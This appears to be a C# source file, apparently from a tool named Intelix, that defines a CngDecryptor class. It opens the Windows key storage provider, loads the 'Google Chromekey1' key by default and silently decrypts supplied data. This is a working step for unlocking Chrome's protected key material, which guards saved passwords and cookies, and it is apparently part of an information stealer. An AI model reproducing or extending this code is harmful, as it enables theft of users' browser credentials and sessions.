52 lines
1.5 KiB
C#
52 lines
1.5 KiB
C#
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using System;
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namespace Intelix.Helper.Encrypted;
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public static class CngDecryptor
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{
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private const int NCRYPT_SILENT_FLAG = 64;
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public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
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{
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IntPtr phProvider = IntPtr.Zero;
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IntPtr phKey = IntPtr.Zero;
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try
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{
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int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
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if (num != 0)
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{
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throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
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}
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num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
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if (num != 0)
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{
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throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
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}
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num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
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if (num != 0)
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{
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throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
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}
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byte[] array = new byte[pcbResult];
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num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
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if (num != 0)
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{
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throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
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}
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Array.Resize(ref array, pcbResult);
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return array;
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}
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finally
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{
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if (phKey != IntPtr.Zero)
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{
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NativeMethods.NCryptFreeObject(phKey);
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}
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if (phProvider != IntPtr.Zero)
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{
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NativeMethods.NCryptFreeObject(phProvider);
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}
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}
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}
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}
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